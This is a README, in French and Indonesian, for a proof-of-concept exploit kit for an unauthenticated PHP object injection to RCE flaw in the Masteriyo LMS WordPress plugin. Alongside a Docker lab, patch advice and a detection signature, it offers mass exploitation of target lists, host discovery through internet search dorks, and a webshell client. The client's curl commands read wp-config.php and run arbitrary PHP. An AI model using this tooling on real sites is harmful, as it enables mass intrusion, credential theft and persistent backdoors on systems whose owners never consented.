
PoC et lab Docker pour CVE-2026-124990 : injection d'objet PHP non authentifiée dans Masteriyo LMS <= 3.5.1 menant à une écriture de fichier et à une RCE, avec générateur de payload et client webshell.
Une injection d'objet PHP non authentifiée dans l'importateur de cours de Masteriyo LMS (paramètre file) conduit à une écriture arbitraire de fichiers et à une exécution de code à distance. Vérifié en laboratoire de bout en bout : uid=<UID>(www-data) depuis un WordPress propre sans aucun identifiant.
learning-management-system <= 3.5.1 · Corrigé : 3.5.2# menu (jalur utama)
python3 poc.py
# satu target
python3 poc.py -u https://target # detect saja
python3 poc.py -u https://target --exploit # sampai RCE
# massal
python3 poc.py -l targets.txt --exploit --threads 20 --delay 0.3
Menu : 1 scan unique · 2 exploit unique · 3 scan massif · 4 exploit massif · 0 quitter.
Options facultatives : -U/-P utilise les identifiants existants (ignorer l'auto-enregistrement),
--proxy socks5h://127.0.0.1:9050, --timeout 60, --strict, --quiet,
--output out.
Sortie : out/results.jsonl (une ligne par cible, flush+fsync) et
out/success.txt (une ligne par shell).
| tag | signification |
|---|---|
[SHELL] | OUTCOME_REACHED — webshell actif, id lisible |
[RCE] | exécution vérifiée |
[VULN] | déclencheur vérifié, résultat pas encore |
[PATCHED] | version >= 3.5.2 (d'après readme.txt), avant l'envoi de la charge utile |
[BLOCKED] | point de terminaison refuse (401/403/WAF) |
[SKIP] | pas une cible / plugin absent |
[ASSUMED] | signal présent mais aucune preuve d'exécution |
[ERR] | erreur opérationnelle |
[masteriyo_instructor_registration]. Envoyer le formulaire sans le champ mot de passe → le serveur
génère un mot de passe → l'utilisateur masteriyo_instructor est en statut ACTIVE et se connecte
immédiatement (cookie wordpress_logged_in)./wp-admin/admin-ajax.php?action=rest-nonce ou le tableau de bord).masteriyo/v1/courses/import avec un JSON contenant postmeta = GuzzleHttp\Cookie\FileCookieJar
sérialisé.CourseImporter::set_post_metas() → maybe_unserialize() → __destruct() →
file_put_contents() écrit du PHP dans wp-content/uploads/masteriyo/.?c=<base64 cmd> → uid=<UID>(www-data).Détails complets + analyse du correctif : notes/root-cause.md.
poc.py tool utama (menu + flag)
tools/masteriyo_payload.py generator payload (gadget FileCookieJar, varian s:/S:)
lab/docker-compose.yml lab rentan (WP + MySQL + Masteriyo 3.5.1) port 8280
lab/docker-compose.patched.yml kontrol negatif (3.5.2) port 8281
src/x3.5.1, src/x3.5.2 source tree untuk diff
notes/root-cause.md analisa root cause, sink coverage, kontrol negatif
CVE-2026-124990-report.md laporan
Reproduction complète à partir de zéro — trois étapes :
cd lab
./setup/download-plugins.sh # unduh Masteriyo 3.5.1 (rentan) + 3.5.2 (patched) dari wp.org
docker compose -p m124990 -f docker-compose.yml up -d # rentan, :8280
docker compose -p m124990p -f docker-compose.patched.yml up -d # patched, :8281
./setup/provision.sh . m124990 8280 # WP install + plugin aktif + halaman registrasi
./setup/provision.sh . m124990p 8281 # idem untuk kontrol negatif
Doit être différent -p : les deux fichiers utilisent le même nom de service, sans -p compose
supprimera le conteneur de l'autre projet.
provision.sh définit les prérequis réels de l'exploit :
masteriyo_settings.general.registration.enable_instructor_registration=true,
accounts_page.display.enable_instructor_apply=true,
masteriyo_registration_is_generate_password=yes, plus les pages
instructor-registration (shortcode [masteriyo_instructor_registration])
et account.
Test :
python3 poc.py -u http://127.0.0.1:8280 --exploit # -> [SHELL]
python3 poc.py -u http://127.0.0.1:8281 --exploit # -> [PATCHED]
3.5.1 (vulnerable) [SHELL] uid=<UID>(www-data) 3/3 run berturut-turut
3.5.2 (patched) [PATCHED] version 3.5.2 tidak ada file, tidak ada shell
Import di 3.5.2 tetap menjawab {"status":"completed"} — sukses import bukan bukti.
Bukti hanya: file tertulis + marker per-attempt + id terbaca.
Update ke 3.5.2+. Kalau belum bisa: matikan
general.registration.enable_instructor_registration, dan batasi registrasi instructor
ke role yang di-approve manual (jangan biarkan pendaftaran mandiri menghasilkan instructor
aktif). Deteksi: POST ke masteriyo/v1/courses/import dengan body memuat
O:31:"GuzzleHttp\Cookie\FileCookieJar".
Mengukur berapa host dari dork yang benar-benar kandidat RCE — tanpa kirim payload.
python3 tools/funnel.py # menu 1/2/3/4/0
python3 tools/funnel.py -u https://site.tld
python3 tools/funnel.py -i hosts.txt --threads 20 --json out.json
Étape : reachable → plugin → version <3.5.2 → REST → page d'inscription+nonce
→ HIGH_HIT. Verdict : HIGH_HIT VULN PATCHED ASSUMED PRO_ONLY NOT_FOUND BLOCKED ERR.
Dork + chiffres de population : notes/fofa-dorks-and-hitrate.md.
Le mot de passe **n'**est pas envoyé via l'URL. Le shell attend un POST avec le champ p :
# manual, tanpa tool
curl -sk -c /tmp/ck -b /tmp/ck -d 'p=PASSWORD' 'URL_SHELL' # login (set cookie sesi)
curl -sk -c /tmp/ck -b /tmp/ck 'URL_SHELL' # identitas
curl -sk -c /tmp/ck -b /tmp/ck 'URL_SHELL?ls=1&d=/srv/htdocs' # daftar berkas
curl -sk -c /tmp/ck -b /tmp/ck 'URL_SHELL?read=wp-config.php' # baca berkas
# eksekusi kode PHP (base64 dari kode):
curl -sk -c /tmp/ck -b /tmp/ck "URL_SHELL?php=$(printf 'echo PHP_VERSION;' | base64 -w0)"
GET sans connexion renvoie seulement 0xfay-auth — c'est normal, ce n'est pas un shell cassé.
Client prêt à l'emploi (sans argument = menu) :
python3 tools/ws-client.py # menu 1-6
python3 tools/ws-client.py -u URL -p PASS # identitas
python3 tools/ws-client.py -u URL -p PASS --ls /srv/htdocs
python3 tools/ws-client.py -u URL -p PASS --read wp-config.php
python3 tools/ws-client.py -u URL -p PASS --get readme.txt # download
python3 tools/ws-client.py -u URL -p PASS --php 'echo PHP_VERSION;'
python3 tools/ws-client.py -u URL -p PASS # shell interaktif
L'URL + le mot de passe final sont enregistrés dans work/SHELL-FINAL.txt ; le menu le lit
automatiquement. Pour changer de cible, saisissez-le manuellement lorsque demandé.
Remarque importante sur cette cible : le sandbox bloque le fork, donc les commandes OS sont vides.
Utilisez --php (eval PHP) ou --ls/--read, pas cmd/system.
python3 poc.py --cmd 'echo PHP_VERSION;' # pakai shell tersimpan
python3 poc.py --shell URL --shell-pass PASS # identitas
python3 poc.py --shell URL --shell-pass PASS --cmd '<php>' # satu perintah
python3 poc.py # menu -> 5 = shell console
Le choix de menu 5 ouvre une console : choisissez l'URL (ou appuyez sur Entrée pour utiliser celle enregistrée), puis saisissez directement du code PHP, !ls <dir>, !read <berkas>, :quit.